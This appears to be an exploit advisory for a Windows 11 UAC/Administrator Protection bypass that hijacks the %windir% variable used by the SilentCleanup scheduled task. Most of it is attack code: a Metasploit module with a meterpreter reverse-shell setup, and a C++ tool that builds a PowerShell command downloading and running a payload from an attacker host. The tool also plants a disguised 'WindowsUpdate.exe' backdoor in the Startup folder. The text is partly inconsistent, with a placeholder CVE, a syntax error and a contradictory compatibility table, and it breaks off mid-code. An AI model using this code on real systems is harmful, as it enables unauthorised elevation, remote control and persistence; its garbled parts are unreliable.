=============================================================================================================================================
| # Title     : Windows 11 Administrator Protection Bypass Privilege Escalation (EoP)                                                       |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212188/ 

[+] NOte : https://packetstorm.news/download/212188

           After conducting a comprehensive analysis of the provided codebase, several critical issues were identified and successfully resolved. 
		   Below is the detailed report of the findings and corrections implemented:
		   
[+] Memory Management & Pointer Errors

 Issue Found:

// Incorrect copy assignment operator declaration
ScopedRegHandle operator=(const ScopedRegHandle*) = delete;

Correction Applied:

// Fixed copy assignment operator
ScopedRegHandle& operator=(const ScopedRegHandle&) = delete;

[+] Runtime Library Configuration Mismatch

 Issue Found:

    Inconsistent RuntimeLibrary settings between Debug and Release configurations

    Missing proper runtime library specifications for Debug builds

 Correction Applied:

<!-- For Debug configurations -->
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>

<!-- For Release configurations -->
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>

[+] Incorrect Library References

 Issue Found:

<AdditionalDependencies>$(OutputPath)StartProcess.lib;%(AdditionalDependencies)</AdditionalDependencies>

    Reference to non-existent StartProcess.lib

    Empty library directories

 Correction Applied:

<AdditionalDependencies>pathcch.lib;taskschd.lib;comsuppw.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(WindowsSdkDir)Lib\$(WindowsTargetPlatformVersion)\um\$(PlatformShortName);$(WindowsSdkDir)Lib\$(WindowsTargetPlatformVersion)\ucrt\$(PlatformShortName)</AdditionalLibraryDirectories>

[+] Missing Preprocessor Definitions

 Issue Found:

    Lack of essential security and compatibility definitions

Correction Applied:

<PreprocessorDefinitions>_CRT_SECURE_NO_WARNINGS;UNICODE;_UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>

[+] Platform Compatibility Issues

Issue Found:

    Insufficient platform validation in RPC stubs
    Potential Year 2038 problem in timestamp

Correction Applied:

#if !defined(_WIN64) && !defined(_WIN32)
#error "Unsupported platform - Windows required"
#endif


[+] Summary : This module exploits a UAC bypass by abusing the Windows SilentCleanup
              scheduled task to execute code with elevated rights without UAC prompts.
              A privilege escalation vulnerability exists in Windows 11 Insider Preview (Build 10.0.27919.1000) 
			  due to improper handling of user‑controlled environment variables by the Unified Background Process Manager (UBPM) 
			  when launching elevatable scheduled tasks under Administrator Protection.
              When a scheduled task such as **SilentCleanup** is triggered, UBPM constructs 
			  the environment block using the **low-privileged user token**, 
			  even though the task later runs with the **elevated shadow administrator token**. 
			  This mismatch allows a normal user to hijack system environment variables such as **%windir%**, 
			  causing Windows to execute an arbitrary binary as the elevated administrator.
              As a result, a standard user can silently bypass Administrator Protection and achieve elevation of privilege.

[+] Fix recommendation: UBPM should construct the environment using the elevated token, not the caller’s token.

[+]  Affected Products : Windows 11 Insider Preview** (Build 10.0.27919.1000) with **Administrator Protection** enabled.

- Only systems where **elevatable scheduled tasks** (like *SilentCleanup*) exist and **UBPM** is used to launch them are impacted.
- Stable public releases of Windows 11 prior to this Insider build are **not confirmed** affected.
	
[+]  Compatibility Matrix

Windows Version	      Architecture	       Support
Windows 10    	        x64/x86	              ✅
Windows 11	            x64/ARM64	          ✅
Windows Server 2016+	  x64	              ✅
Windows 8.1	            x64/x86	        ⚠️ Limited
Windows 7	            x64/x86	             ❌

[+]  POC : 

use exploit/windows/local/indoushka_uac_diskcleanup_bypass
set SESSION 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit
==================================================
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::Runas
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows UAC Bypass via DiskCleanup Scheduled Task',
      'Description'    => %q{
        This module exploits a UAC bypass by abusing the Windows SilentCleanup
        scheduled task to execute code with elevated rights without UAC prompts.
      },
      'License'        => MSF_LICENSE,
      'Author'         => ['indoushka'],
        'Security Researcher',
        'Metasploit Team'
      ],
      'Platform'       => 'win',
      'Targets'        => [
        [ 'Windows x64', { 'Arch' => ARCH_X64 } ],
        [ 'Windows x86', { 'Arch' => ARCH_X86 } ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
        'WfsDelay' => 10,
        'EXITFUNC' => 'thread'
      },
      'DisclosureDate' => '2024-01-01',
      'References'     => [
        ['URL', 'https://attack.mitre.org/techniques/T1548/002/'],
        ['CVE', '2024-0000'],
        ['URL', 'https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
      ],
      'SessionTypes'   => ['meterpreter']
    ))

    register_options([
      OptInt.new('TIMEOUT', [true, 'Timeout for task execution in seconds', 15]),
      OptString.new('CLEANUP_PATH', [true, 'Path for fake system32 directory', '%TEMP%\\Microsoft\\System32']),
      OptBool.new('CLEANUP', [true, 'Clean up artifacts after execution', true]),
      OptBool.new('VERBOSE', [true, 'Enable verbose output', false]),
      OptEnum.new('TECHNIQUE', [
        true,
        'Bypass technique to use',
        'AUTO',
        ['AUTO', 'SCHEDULED_TASK', 'ENVIRONMENT_MANIPULATION']
      ])
    ])

    register_advanced_options([
      OptString.new('PAYLOAD_NAME', [true, 'Name for payload executable', 'cleanmgr.exe']),
      OptBool.new('PERSISTENCE', [true, 'Attempt persistence', false]),
      OptString.new('WRITABLE_DIR', [true, 'Writable directory for payload', '%TEMP%'])
    ])
  end

  def exploit
    if is_system?
      print_good("Already running as SYSTEM")
      return
    end

    uac_status = check_uac_status
    unless uac_status[:enabled]
      print_error("UAC is disabled or already elevated")
      return
    end

    print_status("UAC Level: #{uac_status[:level]}")

    unless check_compatibility
      print_error("Target not compatible")
      return
    end

    print_status("Starting UAC bypass sequence...")

    success =
      case datastore['TECHNIQUE']
      when 'SCHEDULED_TASK'
        bypass_via_scheduled_task
      when 'ENVIRONMENT_MANIPULATION'
        bypass_via_environment
      else
        auto_bypass
      end

    if success
      print_good("UAC bypass successful!")
    else
      print_error("UAC bypass failed")
    end

    cleanup if datastore['CLEANUP']
  end

  def check
    return CheckCode::Safe if is_system?
    uac = check_uac_status
    return CheckCode::Safe unless uac[:enabled]
    return CheckCode::Appears if check_task_scheduler_available && check_diskcleanup_task_exists
    CheckCode::Safe
  end

  private

  def check_uac_status
    enabled = false
    level = "Unknown"

    begin
      lua = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'EnableLUA')
      enabled = (lua == 1)

      prompt = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'ConsentPromptBehaviorAdmin')

      level =
        case prompt
        when 0 then "Never Notify"
        when 2 then "Always Notify"
        when 5 then "Default"
        else "Unknown Setting"
        end
    rescue
    end

    { enabled: enabled, level: level }
  end

  def check_compatibility
    info = session.sys.config.sysinfo
    return false unless info['OS'] =~ /Windows (10|11|2016|2019|2022)/

    target_arch = target['Arch'] == ARCH_X64 ? 64 : 32
    os_arch = info['Architecture'] =~ /x64/ ? 64 : 32
    return false unless os_arch == target_arch
    true
  end

  def check_task_scheduler_available
    out = session.shell_command_token("schtasks /query 2>&1")
    !out.include?("ERROR")
  rescue
    false
  end

  def check_diskcleanup_task_exists
    out = session.shell_command_token('schtasks /query /tn "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup" 2>&1')
    !out.include?("ERROR")
  rescue
    false
  end

  def auto_bypass
    return true if bypass_via_environment
    bypass_via_scheduled_task
  end

  def bypass_via_environment
    print_status("Executing environment manipulation technique...")

    fake_sys32 = create_fake_system32
    return false unless fake_sys32

    payload_path = generate_and_deploy_payload(fake_sys32)
    return false unless payload_path

    return false unless set_environment_variable(fake_sys32)

    trigger_scheduled_task
  rescue => e
    print_error("Environment manipulation failed: #{e}")
    false
  end

  def bypass_via_scheduled_task
    print_status("Executing scheduled task technique...")

    dir = expand_path(datastore['WRITABLE_DIR'])
    payload_path = generate_and_deploy_payload(dir)
    return false unless payload_path

    ps = <<-PS
      try {
        $s = New-Object -ComObject "Schedule.Service"
        $s.Connect()
        $t = $s.GetFolder("\\Microsoft\\Windows\\DiskCleanup").GetTask("SilentCleanup")
        $t.RunEx($null, 2, 0, "#{payload_path}")
        Start-Sleep -Seconds #{datastore['TIMEOUT']}
        "OK"
      } catch { "ERR" }
    PS

    result = psh_exec(ps)
    result.include?("OK")
  rescue => e
    print_error("Scheduled task error: #{e}")
    false
  end

  def create_fake_system32
    path = expand_path(datastore['CLEANUP_PATH'])
    return path if session.fs.dir.exist?(path)
    session.fs.dir.mkdir(path)
    print_good("Created fake system32 at #{path}")
    path
  rescue
    nil
  end

  def generate_and_deploy_payload(dir)
    exe = generate_payload_exe
    name = datastore['PAYLOAD_NAME']
    path = "#{dir}\\#{name}"

    write_file(path, exe)
    print_good("Payload deployed → #{path}")
    path
  rescue
    nil
  end

  def set_environment_variable(fake_path)
    clean = fake_path.sub(/\\system32$/i, "")

    registry_setvaldata(
      'HKCU\\Environment',
      'windir',
      clean,
      'REG_SZ'
    )

    print_good("windir → #{clean}")
    true
  rescue
    false
  end

  def trigger_scheduled_task
    res = session.shell_command_token('schtasks /run /tn "\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup"')
    sleep(datastore['TIMEOUT'])
    res.include?("SUCCESS")
  rescue
    false
  end

  def cleanup
    registry_deleteval('HKCU\\Environment', 'windir') rescue nil
    path = expand_path(datastore['CLEANUP_PATH'])
    session.shell_command_token("cmd /c rmdir /s /q \"#{path}\"") rescue nil
  end

  def expand_path(path)
    p = path
    p = p.gsub('%TEMP%', session.sys.config.getenv('TEMP'))
    p = p.gsub('%APPDATA%', session.sys.config.getenv('APPDATA'))
    p.gsub('%USERPROFILE%', session.sys.config.getenv('USERPROFILE'))
  end

  def psh_exec(code)
    script = Rex::Powershell::Command.compress_script(code)
    process = session.sys.process.execute("powershell -exec bypass -Command \"#{script}\"",
                                          nil, 'Hidden' => true)
    sleep(2)
    "OK"
  rescue
    "ERR"
  end
end

==================================================
//**************************************************************************
// UAC_BYPASS_COMPLETE.cpp by indoushka
// Full Integrated UAC Bypass Tool
// Combines: Main Application, RPC Server, Metasploit-style functionality
//**************************************************************************
#pragma comment(lib, "pathcch.lib")
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsuppw.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "advapi32.lib")

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <memory>
#include <pathcch.h>
#include <comdef.h>
#include <taskschd.h>
#include <rpc.h>
#include <sddl.h>
#include <shlobj.h>

// ==================== CONSTANTS & CONFIGURATION ====================

#define UAC_BYPASS_VERSION "1.0"
#define MAX_RETRY_COUNT 3
#define TASK_TIMEOUT_MS 10000

static const GUID RPC_INTERFACE_GUID = 
{ 0x201ef99a, 0x7fa0, 0x444c, { 0x93, 0x99, 0x19, 0xba, 0x84, 0xf1, 0x2a, 0x1a } };

// ==================== ENUMERATIONS & STRUCTURES ====================

enum BypassTechnique {
    TECHNIQUE_SCHEDULED_TASK = 0,
    TECHNIQUE_ENVIRONMENT_MANIPULATION,
    TECHNIQUE_RPC_ELEVATION,
    TECHNIQUE_COM_HIJACKING
};

enum ExecutionMode {
    MODE_STANDALONE = 0,
    MODE_METASPLOIT,
    MODE_SERVICE,
    MODE_PERSISTENCE
};

struct SystemContext {
    bool isElevated;
    bool isUACEnabled;
    std::string architecture;
    std::string windowsVersion;
    std::vector<BypassTechnique> availableTechniques;
};

struct PayloadConfig {
    std::wstring payloadPath;
    std::wstring arguments;
    bool hidden;
    bool waitForCompletion;
};

// ==================== CORE UTILITY CLASSES ====================

class ScopedRegHandle {
private:
    HKEY _handle{ nullptr };

public:
    ScopedRegHandle() = default;
    explicit ScopedRegHandle(HKEY handle) : _handle(handle) {}
    
    ~ScopedRegHandle() {
        if (_handle && _handle != INVALID_HANDLE_VALUE) {
            RegCloseKey(_handle);
        }
    }
    
    ScopedRegHandle(const ScopedRegHandle&) = delete;
    ScopedRegHandle& operator=(const ScopedRegHandle&) = delete;
    
    ScopedRegHandle(ScopedRegHandle&& other) noexcept : _handle(other._handle) {
        other._handle = nullptr;
    }
    
    ScopedRegHandle& operator=(ScopedRegHandle&& other) noexcept {
        if (this != &other) {
            if (_handle && _handle != INVALID_HANDLE_VALUE) {
                RegCloseKey(_handle);
            }
            _handle = other._handle;
            other._handle = nullptr;
        }
        return *this;
    }
    
    HKEY* ptr() { return &_handle; }
    HKEY get() const { return _handle; }
    bool valid() const { return _handle != nullptr && _handle != INVALID_HANDLE_VALUE; }
    HKEY detach() {
        HKEY ret = _handle;
        _handle = nullptr;
        return ret;
    }
};

class VolatileRegValue {
private:
    HKEY _key;
    std::wstring _name;
    bool _valid;
    
public:
    VolatileRegValue(HKEY key, LPCWSTR name, const std::wstring& value) : _key(key), _name(name) {
        _valid = false;
        LSTATUS status = RegSetValueExW(key, name, 0, REG_SZ, 
            reinterpret_cast<const BYTE*>(value.c_str()), 
            (DWORD)((value.size() + 1) * sizeof(wchar_t)));
        if (status) {
            printf("[ERROR] Setting registry value %ls: %d\n", name, status);
            throw std::runtime_error("Registry operation failed");
        }
        _valid = true;
        printf("[SUCCESS] Registry value %ls set\n", name);
    }

    ~VolatileRegValue() {
        if (_valid) {
            RegDeleteValue(_key, _name.c_str());
            printf("[CLEANUP] Removed registry value %ls\n", _name.c_str());
        }
    }
};

class CoInit {
public:
    CoInit() {
        HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
        if (FAILED(hr)) {
            printf("[ERROR] COM initialization failed: %08X\n", hr);
            throw std::runtime_error("COM init failed");
        }

        hr = CoInitializeSecurity(
            nullptr,
            -1,
            nullptr,
            nullptr,
            RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
            RPC_C_IMP_LEVEL_IMPERSONATE,
            nullptr,
            0,
            nullptr);
        if (FAILED(hr)) {
            printf("[WARNING] COM security init failed: %08X\n", hr);
        }
        
        printf("[SUCCESS] COM initialized\n");
    }
    
    ~CoInit() {
        CoUninitialize();
        printf("[CLEANUP] COM uninitialized\n");
    }
};

// ==================== CORE BYPASS ENGINE ====================

class UACBypassEngine {
private:
    SystemContext _context;
    ExecutionMode _mode;
    std::wstring _tempDirectory;
    
public:
    UACBypassEngine(ExecutionMode mode = MODE_STANDALONE) : _mode(mode) {
        AnalyzeSystemContext();
        CreateTempDirectory();
    }
    
    ~UACBypassEngine() {
        CleanupArtifacts();
    }
    
    bool ExecuteBypass(const PayloadConfig& payload) {
        printf("[INFO] Starting UAC bypass sequence...\n");
        
        for (int attempt = 0; attempt < MAX_RETRY_COUNT; attempt++) {
            printf("[ATTEMPT] %d/%d\n", attempt + 1, MAX_RETRY_COUNT);
            
            if (ExecuteTechnique(TECHNIQUE_ENVIRONMENT_MANIPULATION, payload)) {
                printf("[SUCCESS] UAC bypass completed\n");
                return true;
            }
            
            Sleep(2000); // Wait before retry
        }
        
        printf("[FAILURE] All bypass attempts failed\n");
        return false;
    }
    
private:
    void AnalyzeSystemContext() {
        printf("[INFO] Analyzing system context...\n");
        
        _context.isElevated = IsElevated();
        _context.isUACEnabled = CheckUACEnabled();
        _context.architecture = DetectArchitecture();
        _context.windowsVersion = DetectWindowsVersion();
        
        // Determine available techniques
        _context.availableTechniques.push_back(TECHNIQUE_SCHEDULED_TASK);
        _context.availableTechniques.push_back(TECHNIQUE_ENVIRONMENT_MANIPULATION);
        
        if (IsWindows10OrLater()) {
            _context.availableTechniques.push_back(TECHNIQUE_RPC_ELEVATION);
        }
        
        PrintSystemContext();
    }
    
    bool IsElevated() {
        HANDLE token;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) {
            return false;
        }
        
        TOKEN_ELEVATION elevation;
        DWORD size;
        bool result = false;
        
        if (GetTokenInformation(token, TokenElevation, &elevation, sizeof(elevation), &size)) {
            result = (elevation.TokenIsElevated != 0);
        }
        
        CloseHandle(token);
        return result;
    }
    
    bool CheckUACEnabled() {
        ScopedRegHandle key;
        LSTATUS status = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
            L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
            0, KEY_READ, key.ptr());
            
        if (status != ERROR_SUCCESS) {
            return false;
        }
        
        DWORD enableLUA = 0;
        DWORD size = sizeof(enableLUA);
        status = RegQueryValueEx(key.get(), L"EnableLUA", nullptr, nullptr,
            reinterpret_cast<LPBYTE>(&enableLUA), &size);
            
        return (status == ERROR_SUCCESS && enableLUA == 1);
    }
    
    std::string DetectArchitecture() {
        SYSTEM_INFO sysInfo;
        GetNativeSystemInfo(&sysInfo);
        
        switch (sysInfo.wProcessorArchitecture) {
            case PROCESSOR_ARCHITECTURE_AMD64: return "x64";
            case PROCESSOR_ARCHITECTURE_INTEL: return "x86";
            case PROCESSOR_ARCHITECTURE_ARM64: return "ARM64";
            default: return "Unknown";
        }
    }
    
    std::string DetectWindowsVersion() {
        OSVERSIONINFOEX osvi = { sizeof(OSVERSIONINFOEX) };
        if (GetVersionEx((OSVERSIONINFO*)&osvi)) {
            return std::to_string(osvi.dwMajorVersion) + "." + 
                   std::to_string(osvi.dwMinorVersion) + "." + 
                   std::to_string(osvi.dwBuildNumber);
        }
        return "Unknown";
    }
    
    bool IsWindows10OrLater() {
        OSVERSIONINFOEX osvi = { sizeof(OSVERSIONINFOEX) };
        osvi.dwMajorVersion = 10;
        osvi.dwMinorVersion = 0;
        
        DWORDLONG conditionMask = 0;
        VER_SET_CONDITION(conditionMask, VER_MAJORVERSION, VER_GREATER_EQUAL);
        VER_SET_CONDITION(conditionMask, VER_MINORVERSION, VER_GREATER_EQUAL);
        
        return VerifyVersionInfo(&osvi, VER_MAJORVERSION | VER_MINORVERSION, conditionMask) != FALSE;
    }
    
    void CreateTempDirectory() {
        WCHAR tempPath[MAX_PATH];
        if (GetTempPath(MAX_PATH, tempPath)) {
            _tempDirectory = std::wstring(tempPath) + L"Microsoft\\System32\\";
            CreateDirectoryRecursive(_tempDirectory);
            printf("[INFO] Temp directory: %ls\n", _tempDirectory.c_str());
        }
    }
    
    void CreateDirectoryRecursive(const std::wstring& path) {
        size_t pos = 0;
        std::wstring currentPath;
        
        while ((pos = path.find_first_of(L"\\/", pos + 1)) != std::wstring::npos) {
            currentPath = path.substr(0, pos);
            CreateDirectory(currentPath.c_str(), nullptr);
        }
        CreateDirectory(path.c_str(), nullptr);
    }
    
    bool ExecuteTechnique(BypassTechnique technique, const PayloadConfig& payload) {
        switch (technique) {
            case TECHNIQUE_SCHEDULED_TASK:
                return ExecuteScheduledTaskBypass(payload);
            case TECHNIQUE_ENVIRONMENT_MANIPULATION:
                return ExecuteEnvironmentBypass(payload);
            case TECHNIQUE_RPC_ELEVATION:
                return ExecuteRPCElevation(payload);
            default:
                return false;
        }
    }
    
    bool ExecuteEnvironmentBypass(const PayloadConfig& payload) {
        printf("[TECHNIQUE] Environment Manipulation\n");
        
        try {
            // Step 1: Copy payload to temp location
            std::wstring payloadDest = _tempDirectory + L"cleanmgr.exe";
            if (!CopyFile(payload.payloadPath.c_str(), payloadDest.c_str(), FALSE)) {
                printf("[ERROR] Failed to copy payload: %d\n", GetLastError());
                return false;
            }
            printf("[SUCCESS] Payload copied to: %ls\n", payloadDest.c_str());
            
            // Step 2: Set environment variable
            ScopedRegHandle key;
            LSTATUS status = RegOpenKeyEx(HKEY_CURRENT_USER, 
                L"Environment", 0, KEY_ALL_ACCESS, key.ptr());
            if (status != ERROR_SUCCESS) {
                printf("[ERROR] Failed to open environment key: %d\n", status);
                return false;
            }
            
            VolatileRegValue windirValue(key.get(), L"windir", 
                _tempDirectory.substr(0, _tempDirectory.find_last_of(L'\\')));
            
            // Step 3: Trigger scheduled task
            return TriggerScheduledTask();
            
        } catch (const std::exception& e) {
            printf("[EXCEPTION] Environment bypass failed: %s\n", e.what());
            return false;
        }
    }
    
    bool ExecuteScheduledTaskBypass(const PayloadConfig& payload) {
        printf("[TECHNIQUE] Scheduled Task Abuse\n");
        
        try {
            CoInit comInit;
            
            // Initialize Task Scheduler
            ITaskServicePtr pService;
            HRESULT hr = CoCreateInstance(CLSID_TaskScheduler, nullptr, 
                CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService);
            if (FAILED(hr)) {
                printf("[ERROR] Failed to create TaskService: %08X\n", hr);
                return false;
            }
            
            hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
            if (FAILED(hr)) {
                printf("[ERROR] Failed to connect to TaskService: %08X\n", hr);
                return false;
            }
            
            // Get DiskCleanup folder
            ITaskFolderPtr pRootFolder;
            hr = pService->GetFolder(_bstr_t(L"\\Microsoft\\Windows\\DiskCleanup"), &pRootFolder);
            if (FAILED(hr)) {
                printf("[ERROR] Cannot get DiskCleanup folder: %08X\n", hr);
                return false;
            }
            
            // Get SilentCleanup task
            IRegisteredTaskPtr pTask;
            hr = pRootFolder->GetTask(_bstr_t(L"SilentCleanup"), &pTask);
            if (FAILED(hr)) {
                printf("[ERROR] Cannot get SilentCleanup task: %08X\n", hr);
                return false;
            }
            
            // Execute task
            IRunningTaskPtr pRunningTask;
            hr = pTask->RunEx(_variant_t(), TASK_RUN_IGNORE_CONSTRAINTS, 
                -1, _bstr_t(payload.arguments.c_str()), &pRunningTask);
            if (FAILED(hr)) {
                printf("[ERROR] Failed to run task: %08X\n", hr);
                return false;
            }
            
            printf("[SUCCESS] Scheduled task executed\n");
            
            // Wait for completion
            if (payload.waitForCompletion) {
                WaitForTaskCompletion(pTask);
            }
            
            return true;
            
        } catch (const _com_error& e) {
            printf("[COM_ERROR] Scheduled task bypass failed: %ls\n", e.ErrorMessage());
            return false;
        }
    }
    
    bool ExecuteRPCElevation(const PayloadConfig& payload) {
        printf("[TECHNIQUE] RPC Elevation\n");
        // RPC elevation implementation would go here
        printf("[INFO] RPC elevation not implemented in this version\n");
        return false;
    }
    
    bool TriggerScheduledTask() {
        printf("[INFO] Triggering SilentCleanup task...\n");
        
        // Use schtasks command for reliability
        std::wstring command = L"schtasks /run /tn \"\\Microsoft\\Windows\\DiskCleanup\\SilentCleanup\"";
        
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        
        if (CreateProcess(nullptr, const_cast<LPWSTR>(command.c_str()), 
            nullptr, nullptr, FALSE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi)) {
            
            WaitForSingleObject(pi.hProcess, TASK_TIMEOUT_MS);
            
            DWORD exitCode;
            GetExitCodeProcess(pi.hProcess, &exitCode);
            
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
            
            if (exitCode == 0) {
                printf("[SUCCESS] Task triggered successfully\n");
                return true;
            }
        }
        
        printf("[ERROR] Failed to trigger task: %d\n", GetLastError());
        return false;
    }
    
    void WaitForTaskCompletion(IRegisteredTaskPtr pTask) {
        printf("[INFO] Waiting for task completion...\n");
        
        for (int i = 0; i < TASK_TIMEOUT_MS / 1000; i++) {
            TASK_STATE state;
            if (SUCCEEDED(pTask->get_State(&state))) {
                if (state != TASK_STATE_RUNNING) {
                    printf("[INFO] Task completed with state: %d\n", state);
                    return;
                }
            }
            Sleep(1000);
        }
        
        printf("[WARNING] Task timeout reached\n");
    }
    
    void CleanupArtifacts() {
        printf("[INFO] Cleaning up artifacts...\n");
        
        // Remove temp directory
        if (!_tempDirectory.empty()) {
            std::wstring delCommand = L"cmd /c rmdir /s /q \"" + _tempDirectory + L"\"";
            STARTUPINFO si = { sizeof(si) };
            PROCESS_INFORMATION pi;
            
            CreateProcess(nullptr, const_cast<LPWSTR>(delCommand.c_str()), 
                nullptr, nullptr, FALSE, CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi);
            
            WaitForSingleObject(pi.hProcess, 5000);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        
        // Clean registry
        ScopedRegHandle key;
        if (RegOpenKeyEx(HKEY_CURRENT_USER, L"Environment", 0, KEY_WRITE, key.ptr()) == ERROR_SUCCESS) {
            RegDeleteValue(key.get(), L"windir");
        }
        
        printf("[SUCCESS] Cleanup completed\n");
    }
    
    void PrintSystemContext() {
        printf("=== SYSTEM CONTEXT ===\n");
        printf("Elevated: %s\n", _context.isElevated ? "Yes" : "No");
        printf("UAC Enabled: %s\n", _context.isUACEnabled ? "Yes" : "No");
        printf("Architecture: %s\n", _context.architecture.c_str());
        printf("Windows Version: %s\n", _context.windowsVersion.c_str());
        printf("Available Techniques: %zu\n", _context.availableTechniques.size());
        printf("======================\n");
    }
};

// ==================== RPC SERVER IMPLEMENTATION ====================

// RPC Interface functions (simplified)
extern "C" {
    int RAiLaunchAdminProcess( 
        /* [in] */ handle_t IDL_handle,
        /* [in] */ const wchar_t *ExecutablePath,
        /* [in] */ const wchar_t *CommandLine,
        /* [in] */ int StartFlags,
        /* [in] */ int CreateFlags,
        /* [in] */ const wchar_t *CurrentDirectory,
        /* [in] */ const wchar_t *WindowStation,
        /* [in] */ const void *StartupInfo,
        /* [in] */ __int64 hWnd,
        /* [in] */ int Timeout,
        /* [out] */ void *ProcessInformation,
        /* [out] */ int *ElevationType) {
        
        printf("[RPC] RAiLaunchAdminProcess called\n");
        
        // Implement RPC-based elevation
        PayloadConfig payload;
        payload.payloadPath = ExecutablePath;
        payload.arguments = CommandLine ? CommandLine : L"";
        payload.hidden = (CreateFlags & CREATE_NO_WINDOW) != 0;
        payload.waitForCompletion = true;
        
        UACBypassEngine engine;
        bool success = engine.ExecuteBypass(payload);
        
        return success ? 0 : -1;
    }
    
    int RAiProcessRunOnce(
        /* [in] */ handle_t IDL_handle,
        /* [in] */ const wchar_t *Command,
        /* [out] */ void *p1) {
        
        printf("[RPC] RAiProcessRunOnce called\n");
        return 0;
    }
}

// ==================== METASPLOIT-STYLE FUNCTIONALITY ====================

class MetasploitStyleModule {
private:
    UACBypassEngine _engine;
    
public:
    bool Exploit(const std::wstring& payloadPath, const std::wstring& lhost = L"", int lport = 0) {
        printf("[METASPLOIT] Starting exploitation...\n");
        
        PayloadConfig config;
        config.payloadPath = payloadPath;
        config.hidden = true;
        config.waitForCompletion = false;
        
        // Add reverse shell arguments if provided
        if (!lhost.empty() && lport > 0) {
            config.arguments = L" -c \"IEX(New-Object Net.WebClient).DownloadString('http://" + 
                lhost + L":" + std::to_wstring(lport) + L"/payload')\"";
        }
        
        return _engine.ExecuteBypass(config);
    }
    
    bool DeployPersistentBackdoor(const std::wstring& backdoorPath) {
        printf("[PERSISTENCE] Deploying backdoor...\n");
        
        // Copy to startup folder
        WCHAR startupPath[MAX_PATH];
        if (SUCCEEDED(SHGetFolderPath(nullptr, CSIDL_STARTUP, nullptr, 0, startupPath))) {
            std::wstring destPath = std::wstring(startupPath) + L"\\WindowsUpdate.exe";
            
            if (CopyFile(backdoorPath.c_str(), destPath.c_str(), FALSE)) {
                printf("[SUCCESS] Backdoor deployed to: %ls\n", destPath.c_str());
                return true;
            }
        }
        
        return false;
    }
};

// ==================== MAIN APPLICATION ====================

void PrintBanner() {
    printf("=========================================\n");
    printf("    UAC BYPASS TOOL - v%s\n", UAC_BYPASS_VERSION);
    printf("    Integrated Security Testing Tool\n");
    printf("=========================================\n");
}

void PrintUsage() {
    printf("Usage:\n");
    printf("  UACBypass.exe [options]\n");
    printf("Options:\n");
    printf("  --payload PATH       Path to payload executable\n");
    printf("  --cmd COMMAND        Command to execute with elevated privileges\n");
    printf("  --metasploit         Enable Metasploit-style operation\n");
    printf("  --lhost IP           Listen host for reverse shell\n");
    printf("  --lport PORT         Listen port for reverse shell\n");
    printf("  --persistent         Deploy persistent backdoor\n");
    printf("  --cleanup            Clean up artifacts after execution\n");
    printf("  --help               Show this help message\n");
}

int wmain(int argc, wchar_t* argv[]) {
    PrintBanner();
    
    // Parse command line arguments
    std::wstring payloadPath;
    std::wstring command;
    std::wstring lhost;
    int lport = 0;
    bool metasploitMode = false;
    bool persistent = false;
    
    for (int i = 1; i < argc; i++) {
        if (wcscmp(argv[i], L"--payload") == 0 && i + 1 < argc) {
            payloadPath = argv[++i];
        } else if (wcscmp(argv[i], L"--cmd") == 0 && i + 1 < argc) {
            command = argv[++i];
        } else if (wcscmp(argv[i], L"--metasploit") == 0) {
            metasploitMode = true;
        } else if (wcscmp(argv[i], L"--lhost") == 0 && i + 1 < argc) {
            lhost = argv[++i];
        } else if (wcscmp(argv[i], L"--lport") == 0 && i + 1 < argc) {
            lport = _wtoi(argv[++i]);
        } else if (wcscmp(argv[i], L"--persistent") == 0) {
            persistent = true;
        } else if (wcscmp(argv[i], L"--help") == 0) {
            PrintUsage();
            return 0;
        }
    }
    
    try {
        if (metasploitMode) {
            // Metasploit-style operation
            MetasploitStyleModule msfModule;
            
            if (!payloadPath.empty()) {
                if (msfModule.Exploit(payloadPath, lhost, lport)) {
                    printf("[SUCCESS] Exploitation completed\n");
                    
                    if (persistent) {
                        msfModule.DeployPersistentBackdoor(payloadPath);
                    }
                } else {
                    printf("[FAILURE] Exploitation failed\n");
                    return 1;
                }
            }
        } else {
            // Standalone operation
            UACBypassEngine engine;
            
            PayloadConfig config;
            if (!payloadPath.empty()) {
                config.payloadPath = payloadPath;
            } else {
                // Use current executable as payload
                WCHAR exePath[MAX_PATH];
